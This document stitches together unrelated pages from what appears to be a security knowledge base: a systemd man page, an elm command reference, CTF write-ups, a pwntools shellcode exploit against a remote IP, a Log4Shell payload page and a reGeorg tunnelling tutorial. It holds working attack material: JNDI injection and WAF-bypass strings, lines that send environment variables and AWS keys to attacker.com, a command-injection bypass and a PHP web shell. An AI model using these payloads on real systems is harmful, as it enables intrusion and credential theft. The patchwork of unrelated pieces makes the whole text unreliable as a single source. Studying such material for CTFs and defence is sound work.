# 语言安全 --- ## 免责声明 `本文档仅供学习和研究使用,请勿使用文中的技术源码用于非法用途,任何人造成的任何负面影响,与本人无关.` --- **相关文章** - [Go和Python的源码安全保护](https://ichxxx.cn/2021/01/06/code_protection_in_go_and_python/) **加壳** - [upx/upx](https://github.com/upx/upx) - the Ultimate Packer for eXecutables ``` upx 1.exe upx -d 1.exe ``` **代码扫描** - [IAST 工具](../信息收集/信息收集.md#iast) - [SAST 工具](../信息收集/信息收集.md#sast) **供应链安全** - [针对解释性语言包管理器的供应链攻击研究](https://tttang.com/archive/1587/) **依赖安全** - [墨菲安全](https://www.murphysec.com/) - https://github.com/murphysecurity/murphysec - 墨菲安全的 CLI 工具,用于在命令行检测指定目录代码的依赖安全问题,也可以基于 CLI 工具实现在 CI 流程的检测。 --- ## PHP安全 - [PHP安全](./PHP安全.md) --- ## JAVA安全 - [JAVA安全](./JAVA安全.md) --- ## dotnet安全 - [dotnet安全](./dotnet安全.md) --- ## GO安全 - [GO安全](./GO安全.md) --- ## Python安全 - [Python安全](./Python安全.md) --- ## Powershell安全 **代码混淆** - [Hnfull/Intensio-Obfuscator](https://github.com/Hnfull/Intensio-Obfuscator) ```powershell Powershell -ExecutionPolicy Bypass # 管理员执行 Import-Module .\Invoke-Obfuscation.psd1 Invoke-Obfuscation ``` **样本分析** - [Powershell样本分析](../../BlueTeam/分析.md#powershell) --- ## Shell安全 **基础语法** - [shell编程](../../../Integrated/Linux/笔记/shell编程.md) **代码混淆** - [Bashfuscator/Bashfuscator](https://github.com/Bashfuscator/Bashfuscator) - [shc](https://github.com/neurobin/shc) - [解密 shc 加密的脚本(route_forbidden-close)----记一次挖矿病毒清理过程](https://zhuanlan.zhihu.com/p/387469244) **代码审计** - [koalaman/shellcheck](https://github.com/koalaman/shellcheck) **样本分析** - [Shell样本分析](../../BlueTeam/分析.md#linux) --- ## Lua安全 **基础语法** - [Lua编程](../../../Develop/Lua/Lua.md) **相关文章** - [深入解析Lua脚本加密技术,提升游戏代码的安全性](https://dun.163.com/news/p/ab38146da80b4a6a9b689729f62ce1ea) - [LuaJIT反编译总结](https://www.freebuf.com/column/177810.html) - [Cocos2dlua手游 Lua解密与资源解密实战](https://bbs.pediy.com/thread-268574.htm) **代码混淆** - [viruscamp/luadec](https://github.com/viruscamp/luadec) - 反编译 luac - https://blog.csdn.net/KnownAll/article/details/90378739 **SAST** - [mpeterv/luacheck](https://github.com/mpeterv/luacheck) --- ## nim安全 **相关文章** - [Nim语言在蓝军实战中的研究总结](https://mp.weixin.qq.com/s/cVxbbY98irN-9vZQNDJczQ)
sec-knowleage
'\" t .TH "NETWORKD\&.CONF" "5" "" "systemd 231" "networkd.conf" .\" ----------------------------------------------------------------- .\" * Define some portability stuff .\" ----------------------------------------------------------------- .\" ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ .\" http://bugs.debian.org/507673 .\" http://lists.gnu.org/archive/html/groff/2009-02/msg00013.html .\" ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ .ie \n(.g .ds Aq \(aq .el .ds Aq ' .\" ----------------------------------------------------------------- .\" * set default formatting .\" ----------------------------------------------------------------- .\" disable hyphenation .nh .\" disable justification (adjust text to left margin only) .ad l .\" ----------------------------------------------------------------- .\" * MAIN CONTENT STARTS HERE * .\" ----------------------------------------------------------------- .SH "NAME" networkd.conf, networkd.conf.d \- 全局网络配置文件 .SH "SYNOPSIS" .PP /etc/systemd/networkd\&.conf .PP /etc/systemd/networkd\&.conf\&.d/*\&.conf .PP /usr/lib/systemd/networkd\&.conf\&.d/*\&.conf .SH "描述" .PP 这些配置文件控制着全局网络参数。 当前仅用于设置 DUID(DHCP Unique Identifier) .SH "配置目录及其优先级" .PP 默认设置是在编译期间确定的, 所以仅在确实需要修改默认设置的情况下, 才需要使用配置文件。位于 /etc/systemd/ 目录中的初始配置文件, 仅包含了展示选项默认值的注释, 目的在于方便系统管理员查看和直接修改。 .PP 如果软件包想要自定义某些默认设置, 那么必须将自定义的配置文件安装到 /usr/lib/systemd/*\&.conf\&.d/ 目录中。 /etc/ 目录仅供系统管理员使用。 系统管理员可以利用下面的逻辑来覆盖默认设置: 主配置文件最先被读取, 优先级也最低。 所有 *\&.conf\&.d/ 中的配置文件 都会覆盖主配置文件中的设置。 所有 *\&.conf\&.d/ 中的配置文件(无论位于哪个目录中), 统一按照文件名的字典顺序处理。 如果在多个配置文件中设置了同一个选项, 那么仅以文件名最靠后(字典顺序)的那一个为准。 为了便于排序, 建议给所有 *\&.conf\&.d/ 中的配置文件 都加上两位十进制数字的文件名前缀。 .PP 如果系统管理员想要屏蔽 /usr/lib/ 目录中的某个配置文件, 那么最佳做法是在 /etc/ 目录中 创建一个指向 /dev/null 的同名符号链接, 即可彻底屏蔽 /usr/lib/ 目录中的同名文件。 .SH "[DHCP] 小节选项" .PP 此小节用于配置 DUID(DHCP Unique Identifier) 的值。 DHCPv6 客户端在获取动态 IPv6 地址时, 会向 DHCPv6 服务器发送 DUID(DHCP Unique Identifier) 以及网络接口的 IAID(Identity Association Identifier)。 如果设置了 \fBClientIdentifier=duid\fR ,那么当 DHCPv4 客户端在获取动态 IPv4 地址时, 会向 DHCPv4 服务器发送 DUID(DHCP Unique Identifier) 以及网络接口的 IAID(Identity Association Identifier)。 DHCP 服务器可根据 DUID 与 IAID 来唯一定位主机及其网络接口。 参见 \fBsystemd.network\fR(5) 以了解详情。 .PP 能够识别的选项如下: .PP \fIDUIDType=\fR .RS 4 指定 DUID 的生成方法。参见 \m[blue]\fBRFC 3315\fR\m[]\&\s-2\u[1]\d\s+2 以了解所有选项。 .sp 可以使用的方法如下: .PP \fBvendor\fR .RS 4 如果 "DUIDType=vendor" ,那么将会把"43793"(systemd)用作"vendor identifier", 并将其与经过散列的 \fBmachine-id\fR(5) 值混合, 以生成 DUID 值。 这是默认值。 .RE .PP \fBlink\-layer\-time\fR, \fBlink\-layer\fR, \fBuuid\fR .RS 4 将这些值用作 DUID 的 type 字段的值, 但是 DUID 的内容必须由 \fIDUIDRawData=\fR 提供。 .RE .sp 无论使用上述哪种方法,\fIDUIDRawData=\fR 都可用于覆盖 实际的 DUID 值。 .RE .PP \fIDUIDRawData=\fR .RS 4 Specifies the DHCP DUID value as a single newline\-terminated, hexadecimal string, with each byte separated by ":"\&. The DUID that is sent is composed of the DUID type specified by \fIDUIDType=\fR and the value configured here\&. .sp The DUID value specified here overrides the DUID that systemd\-networkd generates using the machine\-id from the /etc/machine\-id file\&. To configure DUID per\-network, see \fBsystemd.network \fR(5)\&. The configured DHCP DUID should conform to the specification in \m[blue]\fBRFC 3315\fR\m[]\&\s-2\u[2]\d\s+2, \m[blue]\fBRFC 6355\fR\m[]\&\s-2\u[3]\d\s+2\&. To configure IAID, see \fBsystemd.network\fR(5)\&. .PP \fBExample\ \&1.\ \&A DUIDType=vendor with a custom value\fR .sp .if n \{\ .RS 4 .\} .nf DUIDType=vendor DUIDRawData=00:00:ab:11:f9:2a:c2:77:29:f9:5c:00 .fi .if n \{\ .RE .\} .sp This specifies a 14 byte DUID, with the type DUID\-EN ("00:02"), enterprise number 43793 ("00:00:ab:11"), and identifier value "f9:2a:c2:77:29:f9:5c:00"\&. .RE .SH "参见" .PP \fBsystemd\fR(1), \fBsystemd.network\fR(5), \fBmachine-id\fR(1) .SH "NOTES" .IP " 1." 4 RFC 3315 .RS 4 \%https://tools.ietf.org/html/rfc3315#section-9 .RE .IP " 2." 4 RFC 3315 .RS 4 \%http://tools.ietf.org/html/rfc3315#section-9 .RE .IP " 3." 4 RFC 6355 .RS 4 \%http://tools.ietf.org/html/rfc6355 .RE .\" manpages-zh translator: 金步国 .\" manpages-zh comment: 金步国作品集:http://www.jinbuguo.com
sec-knowleage
code = ''' rlwinm r8, r27, 0xc, 5, 0x1a subfic r3, r9, 0x7320 stwu r1, -0x30(r1) stw r31, 0x2c(r1) mr r31, r1 li r3, 0 stw r3, 0x28(r31) li r3, 0x78ea stw r3, 0x24(r31) li r3, 0x15ec stw r3, 0x20(r31) lis r3, 0 ori r4, r3, 0xf8a5 stw r4, 0x1c(r31) li r4, 0x677f stw r4, 0x18(r31) ori r3, r3, 0xc3fa stw r3, 0x14(r31) lwz r3, 0x24(r31) xori r3, r3, 0xfdd3 lwz r4, 0x20(r31) add r3, r3, r4 lwz r4, 0x1c(r31) add r3, r3, r4 lwz r4, 0x18(r31) and r3, r3, r4 lwz r4, 0x14(r31) add r3, r3, r4 lwz r31, 0x2c(r1) addi r1, r1, 0x30 blr subfic r1, r31, 0xa41 xoris r19, r19, 0x7765 ''' def ppc_execute(code): code = code.split('\n') regs = { 'r3': None, 'r4': None, 'r1': 0, 'r2': None, 'r31': None } mem = {} for insn in code: insn = insn.replace(',', ' ').split() if not insn: continue op = insn[0] args = insn[1:] if op == 'li': regs[args[0]] = int(args[1], 16) elif op == 'lis': regs[args[0]] = int(args[1], 16) elif op == 'ori': regs[args[0]] = regs[args[1]] | int(args[2], 16) elif op == 'xori': regs[args[0]] = regs[args[1]] ^ int(args[2], 16) elif op == 'andi': regs[args[0]] = regs[args[1]] & int(args[2], 16) elif op == 'and': regs[args[0]] = regs[args[1]] & regs[args[2]] elif op == 'or': regs[args[0]] = regs[args[1]] | regs[args[2]] elif op == 'xor': regs[args[0]] = regs[args[1]] ^ regs[args[2]] elif op == 'mr': regs[args[0]] = regs[args[1]] elif op == 'stw': mem[args[1]] = regs[args[0]] elif op == 'lwz': regs[args[0]] = mem[args[1]] elif op == 'addi': regs[args[0]] = (regs[args[1]] + int(args[2], 16)) % 2**32 elif op == 'addis': regs[args[0]] = (regs[args[1]] + int(args[2], 16)) % 2**32 elif op == 'add': regs[args[0]] = (regs[args[2]] + regs[args[1]]) % 2**32 elif op == 'subf': regs[args[0]] = (regs[args[2]] - regs[args[1]]) % 2**32 elif op == 'mullw': regs[args[0]] = (regs[args[2]] * regs[args[1]]) % 2**32 elif op == 'mulli': regs[args[0]] = (regs[args[2]] * int(regs[args[1]], 16)) % 2**32 elif op == 'rlwinm': continue elif op == 'subfic': continue elif op == 'stwu': continue elif op == 'xoris': continue elif op == 'blr': continue else: print op print insn print regs return regs['r3'] if __name__ == '__main__': print hex(ppc_execute(code))
sec-knowleage
import sys from pwn import * from Crypto.Cipher import AES import os import struct CIPHER = "\xC8\x56\xF9\x5D\x1F\x6B\xCD\x27\x5C\xD8\x7E\x91\xA8\x90\xA3\x1D\x49\x5e\xc0\x92\x29\x43\xb7\xb9\x9a\xb1\x49\x1e\x88\x4f\x16\x8e" def genkey(payload): key = os.urandom(16) aes = AES.new(key, AES.MODE_ECB) decp = aes.decrypt(CIPHER) iv = ''.join([chr(ord(decp[i]) ^ ord(payload[i])) for i in range(16)]) return key + "A" + iv def pad_code(payload, l): pad = l - (len(payload)%l) return payload + '\x90' * pad def shellcode(): shcode = """ xor esi, esi lea rdi, [rcx+0x878b8] mov al, 59 xor edx, edx syscall """ return pad_code(asm(shcode),16) context(arch="amd64", os="linux") r = remote("104.154.90.175", 54509) r.recvuntil("""Copyright (c) 2015 h4x0rpsch0rr Thanks for choosing h4x0rpsch0rr. To protect our paying customers we ask you to enter your personal license key! License Key: """) shcode = shellcode() r.sendline(genkey(shcode)) r.recvuntil("""Finished decryption! Starting protected code... """) r.interactive()
sec-knowleage
# CVE-2021-44228 Log4Shell > Apache Log4j2 <=2.14.1 JNDI features used in configuration, log messages, and parameters do not protect against attacker controlled LDAP and other JNDI related endpoints. An attacker who can control log messages or log message parameters can execute arbitrary code loaded from LDAP servers when message lookup substitution is enabled ## Summary * [Vulnerable code](#vulnerable-code) * [Payloads](#payloads) * [Scanning](#scanning) * [WAF Bypass](#waf-bypass) * [Exploitation](#exploitation) * [Environment variables exfiltration](#environment-variables-exfiltration) * [Remote Command Execution](#remote-command-execution) * [References](#references) ## Vulnerable code You can reproduce locally with: `docker run --name vulnerable-app -p 8080:8080 ghcr.io/christophetd/log4shell-vulnerable-app` using [christophetd/log4shell-vulnerable-app](https://github.com/christophetd/log4shell-vulnerable-app) or [leonjza/log4jpwn]( https://github.com/leonjza/log4jpwn) ```java public String index(@RequestHeader("X-Api-Version") String apiVersion) { logger.info("Received a request for API version " + apiVersion); return "Hello, world!"; } ``` ## Payloads ```bash # Identify Java version and hostname ${jndi:ldap://${java:version}.domain/a} ${jndi:ldap://${env:JAVA_VERSION}.domain/a} ${jndi:ldap://${sys:java.version}.domain/a} ${jndi:ldap://${sys:java.vendor}.domain/a} ${jndi:ldap://${hostName}.domain/a} ${jndi:dns://${hostName}.domain} # More enumerations keywords and variables java:os docker:containerId web:rootDir bundle:config:db.password ``` ## Scanning * [log4j-scan](https://github.com/fullhunt/log4j-scan) ```powershell usage: log4j-scan.py [-h] [-u URL] [-l USEDLIST] [--request-type REQUEST_TYPE] [--headers-file HEADERS_FILE] [--run-all-tests] [--exclude-user-agent-fuzzing] [--wait-time WAIT_TIME] [--waf-bypass] [--dns-callback-provider DNS_CALLBACK_PROVIDER] [--custom-dns-callback-host CUSTOM_DNS_CALLBACK_HOST] python3 log4j-scan.py -u http://127.0.0.1:8081 --run-all-test python3 log4j-scan.py -u http://127.0.0.1:808 --waf-bypass ``` * [Nuclei Template](https://raw.githubusercontent.com/projectdiscovery/nuclei-templates/master/cves/2021/CVE-2021-44228.yaml) ## WAF Bypass ```powershell ${${::-j}${::-n}${::-d}${::-i}:${::-r}${::-m}${::-i}://127.0.0.1:1389/a} # using lower and upper ${${lower:jndi}:${lower:rmi}://127.0.0.1:1389/poc} ${j${loWer:Nd}i${uPper::}://127.0.0.1:1389/poc} ${jndi:${lower:l}${lower:d}a${lower:p}://loc${upper:a}lhost:1389/rce} # using env to create the letter ${${env:NaN:-j}ndi${env:NaN:-:}${env:NaN:-l}dap${env:NaN:-:}//your.burpcollaborator.net/a} ${${env:BARFOO:-j}ndi${env:BARFOO:-:}${env:BARFOO:-l}dap${env:BARFOO:-:}//attacker.com/a} ``` ## Exploitation ### Environment variables exfiltration ```powershell ${jndi:ldap://${env:USER}.${env:USERNAME}.attacker.com:1389/ # AWS Access Key ${jndi:ldap://${env:USER}.${env:USERNAME}.attacker.com:1389/${env:AWS_ACCESS_KEY_ID}/${env:AWS_SECRET_ACCESS_KEY} ``` ### Remote Command Execution * [rogue-jndi - @artsploit](https://github.com/artsploit/rogue-jndi) ```ps1 java -jar target/RogueJndi-1.1.jar --command "touch /tmp/toto" --hostname "192.168.1.21" Mapping ldap://192.168.1.10:1389/ to artsploit.controllers.RemoteReference Mapping ldap://192.168.1.10:1389/o=reference to artsploit.controllers.RemoteReference Mapping ldap://192.168.1.10:1389/o=tomcat to artsploit.controllers.Tomcat Mapping ldap://192.168.1.10:1389/o=groovy to artsploit.controllers.Groovy Mapping ldap://192.168.1.10:1389/o=websphere1 to artsploit.controllers.WebSphere1 Mapping ldap://192.168.1.10:1389/o=websphere1,wsdl=* to artsploit.controllers.WebSphere1 Mapping ldap://192.168.1.10:1389/o=websphere2 to artsploit.controllers.WebSphere2 Mapping ldap://192.168.1.10:1389/o=websphere2,jar=* to artsploit.controllers.WebSphere2 ``` * [JNDI-Exploit-Kit - @pimps](https://github.com/pimps/JNDI-Exploit-Kit) ## References * [Log4Shell: RCE 0-day exploit found in log4j 2, a popular Java logging package - December 12, 2021](https://www.lunasec.io/docs/blog/log4j-zero-day/) * [Log4Shell Update: Second log4j Vulnerability Published (CVE-2021-44228 + CVE-2021-45046) - December 14, 2021](https://www.lunasec.io/docs/blog/log4j-zero-day-update-on-cve-2021-45046/) * [PSA: Log4Shell and the current state of JNDI injection - December 10, 2021](https://mbechler.github.io/2021/12/10/PSA_Log4Shell_JNDI_Injection/)
sec-knowleage
## Babyfirst (web, 100p, ?? solves) > baby, do it first. > http://52.68.245.164 ### PL [ENG](#eng-version) Po połączeniu się pod podany url wyświetla się nam taka strona: ```php <?php highlight_file(__FILE__); $dir = 'sandbox/' . $_SERVER['REMOTE_ADDR']; if ( !file_exists($dir) ) mkdir($dir); chdir($dir); $args = $_GET['args']; for ( $i=0; $i<count($args); $i++ ){ if ( !preg_match('/^\w+$/', $args[$i]) ) exit(); } exec("/bin/orange " . implode(" ", $args)); ?> ``` Program tworzy folder "sandbox/NASZE_IP" oraz `chdir`uje do niego. Możemy wyświetlić zawartość tego folderu nawigując w przeglądarce do http://52.68.245.164/sandbox/NASZE_IP. Straciliśmy w tym momencie dużo czasu na zgadywanie co robi /bin/orange (cóż, okazuje się że nic - był to link symboliczny do /bin/true). Ale później zaczeliśmy myśleć, w jaki sposób można ominąć preg_match() - bo to jedyny sposób jaki widzieliśmy. Próbowaliśmy różnych rzeczy, ale ostatecznie zauważyliśmy bardzo ciekawą rzecz - jeśli ostatnim bajtem wyrazu jest \n, przechodzi on ten check. Co to oznacza? Że możemy zmusić exec do wykonania czegoś takiego: http://52.68.245.164/?args[]=a%0A&args[]=touch&args[]=cat ``` /bin/orange a touch cat ``` I stworzy nam to plik `cat` w naszym sandboxowym folderze. Jest to bardzo duży krok w przód - możemy wykonać dowolne polecenie składające się ze znaków alfanumerycznych. Następnie myśleliśmy długo, jaką komendę wykonać - wszystko ciekawe wymagało użycia albo albo slasha, albo myślnika, albo kropki. Odkryliśmy na szczęście w pewnym momencie, że wget ciągle wspiera pobieranie stron po IP, podanym jako liczbie! To znaczy że zadziała coś takiego: http://92775836/ W tym momencie byliśmy kolejny duży krok bliżej rozwiązania zadania - wget może np. pobrać kod php z naszego serwera (jako tekst), a my wykonamy go za pomocą lokalnego intepretera php. Niestety, duży problem. Wget zapisuje pliki do pliku o nazwie "index.html", a my nie jesteśmy w stanie takiej nazwy przekazać php (kropka!). Redirecty po stronie serwera nie zmienią też nazwy pliku, bo do tego trzeba przekazać wgetowi odpowiednią opcję (myślnik!). Zaczęliśmy się więc zastanawiać nad poleceniami, które dla podania swoich argumentów nie wymagają myślników. Od razu na myśl przyszedł nam `tar`. Gdyby udało nam się przekazać stworzone archiwum do interpretera PHP, ten powinien zignorować wszystko poza kodem PHP zawartym w `<?php ?>`. Ciąg naszych ostatecznych poleceń wygląda następująco: ``` mkdir exploit cd exploit wget 92775836 tar cvf archived exploit php archived ``` Nasz "eksploit" działał w następujący sposób: ```php <?php file_put_contents('shell.php', ' <?php header("Content-Type: text/plain"); print shell_exec($_GET["cmd"]); ?> '); ?> ``` Dzięki temu mogliśmy wykonywać już polecenia bez żadnych ograniczeń i w ten sposób szybko znaleźliśmy program odczytujący flagę w `/`. ### ENG version After connecting to the provided url we get the following page: ```php <?php highlight_file(__FILE__); $dir = 'sandbox/' . $_SERVER['REMOTE_ADDR']; if ( !file_exists($dir) ) mkdir($dir); chdir($dir); $args = $_GET['args']; for ( $i=0; $i<count($args); $i++ ){ if ( !preg_match('/^\w+$/', $args[$i]) ) exit(); } exec("/bin/orange " . implode(" ", $args)); ?> ``` The program creates a directory: "sandbox/OUR_IP" and `chdir`s to it. We can list contents of the folder in a browser by navigating to http://52.68.245.164/sandbox/OUR_IP. We lost a lot of time at this moment by guessing what /bin/orange does (well, it turns out it does nothing, it's just a symbolic link to /bin/true). But then we started to think about how to bypass the preg_match() check - seeing as it was the only possible way. We tried a lot of things but finally noticed an interesting feat - if the last byte of the string is a newline character (`\n`) it also passes the check. What does it mean? That we can force exec to execute something like this: http://52.68.245.164/?args[]=a%0A&args[]=touch&args[]=cat ``` /bin/orange a touch cat ``` And that will create us a file named `cat` in our sandboxed folder. It's a big step forward - we can now execute an arbitrary command composing of alphanumeric characters. Then we thought long about which command to actually execute - everything interesting needed using slash, dash or dot. But lucky us, we finally discoverd that `wget` is still supporting resolving ip hosts by its `long` number format. That means that we can make a download from: http://92775836/ And that took us even further to completing the task: wget can download a php code from our webserver as text and then we'll execute it passing it to the local PHP interpreter. However, there's a big problem: wget saves contents to a file named `index.html`, but we can't pass that filename to php (the dot!). Server-side redirects won't change the filename as well, because wget needs a parameter for that (dash!). We begun by thinking of all commands which for their arguments don't need dashes. We almost instantly thought of `tar`. If we could pass a non-compressed archive to the PHP interpreter it should ignore everything besides PHP code enclosed in `<?php ?>`. Our final command chain looks like this: ``` mkdir exploit cd exploit wget 92775836 tar cvf archived exploit php archived ``` Our "exploit" worked in a following way: ```php <?php file_put_contents('shell.php', ' <?php header("Content-Type: text/plain"); print shell_exec($_GET["cmd"]); ?> '); ?> ``` Thanks to which we could execute commands with no limitations of the character set and that way we quickly found a program giving us a flag sitting in `/`.
sec-knowleage
elm === 纯文本邮件客户端程序 ## 补充说明 **elm命令** 是一个E-mail客户端管理程序,它提供了纯文本交互式全屏幕界面。 ### 语法 ```shell elm(选项) ``` ### 选项 ```shell -s<邮件主题>:指定新邮件的邮件主题; -f<目录>:开启程序时,读取指定的目录; -h:显示帮助; -i<文件名>:将文件内容插入送出的邮件中; -m:进入elm后,不显示指令说明; -v:显示elm的版本信息; -z:若收件信箱没有邮件,则不启动elm程序。 ```
sec-knowleage
# Hello World Misc, 339 points ## Description: > My first program! The source code of a cpp file was attached. ## Solution: Upon first inspection, the source code seems very innocent: ```c++ #include <iostream> using namespace std; int main() { cout << "Hello, Worlds!\n"; return 0; } ``` However, the source code itself starts at line #148 of the file, and up to that line are empty lines. Or are they? A closer inspection shows that lines 1-145 contain spaces and tabs. A visualization of this can be achieved using the following short script: ```python with open ("hello_world.cpp") as f: contents = f.read() print contents.replace(" ", "\\s").replace("\t", "\\t") ``` Output: ``` \s\s\s\t\t\s\s\t\t\t \s\s\s\t\t\s\t\s\s\t \s\s\s\t\t\s\s\t\t\t \s\s\s\t\t\s\s\t\s\t \s\s\s\t\t\s\t\t\s\t \s\s\s\t\t\t\t\s\t\t \s\s\s\t\t\s\s\s\s \s\s\s\t\t\s\t\s\s\s \s\s\s\t\s\t\t\t\t\t \s\s\s\t\t\s\t\t\s\t \s\s\s\t\t\t\t\s\s\t \s\s\s\t\s\t\t\t\t\t \s\s\s\t\t\t\s\t\t\t \s\s\s\t\t\s\t\s\s\s \s\s\s\t\t\s\t\s\s \s\s\s\t\t\t\s\t\s\s \s\s\s\t\s\t\t\t\t\t \s\s\s\t\t\t\s\s\t\t \s\s\s\t\t\t\s\s\s\s \s\s\s\t\t\s\t\s\s \s\s\s\t\t\s\s\s\t\t \s\s\s\t\t\s\s\s\t \s\s\s\t\t\s\t\t\t\s \s\s\s\t\t\s\s\t\t\t \s\s\s\t\s\t\t\t\t\t \s\s\s\t\t\t\t\s\s\t \s\s\s\t\t\s\s\s\s \s\s\s\t\t\t\s\t\s\t \s\s\s\t\s\t\t\t\t\t \s\s\s\t\t\s\t\s\s\s \s\s\s\t\t\s\t\s\s \s\s\s\t\t\t\s\t\t\s \s\s\s\t\t\s\s\t\t \s\s\s\t\t\t\t\t\s\t \s\s\s\t\s\s\s\s\t \s\s\s\t\t\s\s\t\s\t \s\s\s\t\t\s\s\s\t\t \s\s\s\t\t\s\s\s\s\t \s\s\s\t\t\t\s\s\s\s \s\s\s\t\t\t\s\s\t\t \s\s\s\t\t\s\s\t\s\t \s\s\s\t\t\t\s\t\s\s \s\s\s\t\t\s\t\s\s\t \s\s\s\t\t\s\t\s\s\s \s\s\s\t\t\t\s\t\t\t \s\s\s\t\s\s\s\s\s \s\s\s\t\t\s\s\t\t\s \s\s\s\t\t\s\t\t\t\t \s\s\s\t\s\s\s\s\s \s\s\s\t\t\t\s\t\s\s \s\s\s\t\t\s\t\t\t\t \s\s\s\t\t\s\t\t\s\s \s\s\s\t\s\s\s\s\s \s\s\s\t\t\s\s\s\s\t \s\s\s\t\s\s\s\s\s \s\s\s\t\t\t\s\s\t\t \s\s\s\t\t\s\t\s\s\t \s\s\s\t\s\s\s\s\s \s\s\s\t\t\s\s\t\s\t \s\s\s\t\t\t\s\s\t\s \s\s\s\t\t\t\s\t\s\t \s\s\s\t\t\t\s\s\t\t \s\s\s\t\s\s\s\s\s \s\s\s\t\t\t\s\t\s\s \s\s\s\t\t\s\s\s\s\t \s\s\s\t\t\s\t\s\s\s \s\s\s\t\t\t\s\t\s\s \s\s\s\t\s\s\s\s\s \s\s\s\t\s\t\t\s\s \s\s\s\t\t\s\s\t\s\t \s\s\s\t\t\s\s\t\s\t \s\s\s\t\t\s\s\t\t\t \s\s\s\t\s\s\s\s\s \s\s\s\t\t\t\t\s\s\t \s\s\s\t\t\s\t\t\s\s \s\s\s\t\t\s\t\t\s\s \s\s\s\t\t\s\t\t\t\t \s\s\s\t\t\s\s\t\t\t \s\s\s\t\s\s\s\s\s \s\s\s\t\t\t\s\t\s\s \s\s\s\t\t\s\s\t\s\t \s\s\s\t\t\s\s\t\s\t \s\s\s\t\t\t\s\t\t\t \s\s\s\t\t\t\s\s\t\t \s\s\s\t\s\s\s\s\s \s\s\s\t\t\s\t\t\s\s \s\s\s\t\t\s\t\t\s\s \s\s\s\t\t\s\s\t\s\t \s\s\s\t\s\t\s\t\t\t \t \s\s\t \s\s\t \s\s\t \s\s\t \s\s\t \s\s\t \s\s\t \s\s\t \s\s\t \s\s\t \s\s\t \s\s\t \s\s\t \s\s\t \s\s\t \s\s\t \s\s\t \s\s\t \s\s\t \s\s\t \s\s\t \s\s\t \s\s\t \s\s\t \s\s\t \s\s\t \s\s\t \s\s\t \s\s\t \s\s\t \s\s\t \s\s\t \s\s\t \s\s\t \s\s\t \s\s\t \s\s\t \s\s\t \s\s\t \s\s\t \s\s\t \s\s\t \s\s\t \s\s\t \s\s\t \s\s\t \s\s\t \s\s\t \s\s\t \s\s\t \s\s\t \s\s\t \s\s\t \s\s\t \s\s #include\s<iostream> using\snamespace\sstd; int\smain() { \tcout\s<<\s"Hello,\sWorlds!\n"; \treturn\s0; } ``` There's a programming language called [Whitespace](https://en.wikipedia.org/wiki/Whitespace_(programming_language)) that appears from time to time in CTFs. A great online IDE for this language can be found [here](https://vii5ard.github.io/whitespace/). Pasting the whitespaces into the IDE, we get: ``` Well sweet golly gee, that sure is a lot of whitespace! ``` In addition, the memory tab shows: ``` Stack: [103, 105, 103, 101, 109, 123, 48, 104, 95, 109, 121, 95, 119, 104, 52, 116, 95, 115, 112, 52, 99, 49, 110, 103, 95, 121, 48, 117, 95, 104, 52, 118, 51, 125] Heap: { } ``` Read that as ASCII and we get: ```python >>> "".join(chr(x) for x in [103, 105, 103, 101, 109, 123, 48, 104, 95, 109, 121, 95, 119, 104, 52, 116, 95, 115, 112, 52, 99, 49, 110, 103, 95, 121, 48, 117, 95, 104, 52, 118, 51, 125]) 'gigem{0h_my_wh4t_sp4c1ng_y0u_h4v3}' ```
sec-knowleage
### reGeorg简介: reGeorg 的前身是2008年 SensePost 在 BlackHat USA 2008 的 reDuh 延伸与扩展。也是目前安全从业人员使用最多,范围最广,支持多丰富的一款 http 隧道。从本质上讲,可以将 JSP/PHP/ASP/ASPX 等页面上传到目标服务器,便可以访问该服务器后面的主机。 2014年blackhat介绍 https://www.blackhat.com/eu-14/arsenal.html#regeorg Github: https://github.com/sensepost/reGeorg **攻击机:** 192.168.1.5 Debian 192.168.1.4 Windows 7 **靶机:** 192.168.1.119 Windows 2003 安装: ```bash root@John:~# git clone https://github.com/sensepost/reGeorg.git Cloning into 'reGeorg'... remote: Enumerating objects: 85, done. remote: Total 85 (delta 0), reused 0 (delta 0), pack‐reused 85 Unpacking objects: 100% (85/85), done. root@John:~# cd reGeorg/ root@John:~reGeorg# ls LICENSE.html LICENSE.txt README.md reGeorgSocksProxy.py tunnel.ashx tu nnel.aspx tunnel.js tunnel.jsp tunnel.nosocket.php tunnel.php tunnel.tomcat.5.jsp root@John:~/reGeorg# python reGeorgSocksProxy.py ‐h _____ _____ ______ __|___ |__ ______ _____ _____ ______ | | | ___|| ___| || ___|/ \| | | ___| | \ | ___|| | | || ___|| || \ | | | |__|\__\|______||______| __||______|\_____/|__|\__\|______| |_____| ... every office needs a tool like Georg willem@sensepost.com / @_w_m__ sam@sensepost.com / @trowalts etienne@sensepost.com / @kamp_staaldraad usage: reGeorgSocksProxy.py [‐h] [‐l] [‐p] [‐r] ‐u [‐v] Socks server for reGeorg HTTP(s) tunneller optional arguments: ‐h, ‐‐help show this help message and exit ‐l , ‐‐listen‐on The default listening address ‐p , ‐‐listen‐port The default listening port ‐r , ‐‐read‐buff Local read buffer, max data to be sent per POST ‐u , ‐‐url The url containing the tunnel script ‐v , ‐‐verbose Verbose output[INFO\|DEBUG] ``` ```bash root@John:~/reGeorg# pip install urllib3 Requirement already satisfied: urllib3 in /usr/lib/python2.7/dist‐packages (1.24) ``` ![](media/c0a4051103d17e54b53982c1b6e8b631.jpg) **靶机执行:** 以aspx为demo。 ![](media/6f441fb77ba89a092b149fc8b4bc7eb9.jpg) **攻击机执行:** ```python python reGeorgSocksProxy.py ‐p 8080 ‐l 192.168.1.5 ‐u http://192.168.1.119/tunnel.aspx ``` ![](media/ecf64d63d586febad9c38bfa700ecd46.jpg) Windows下配合Proxifier: ![](media/e0ed655e244f7a76f703bfa13ec6bb4d.jpg) ![](media/48feea22eae0e72d9585eef488eb07f8.jpg) 非常遗憾的是,目前大部分waf都会针对默认原装版本的reGeorg。 > Micropoor
sec-knowleage
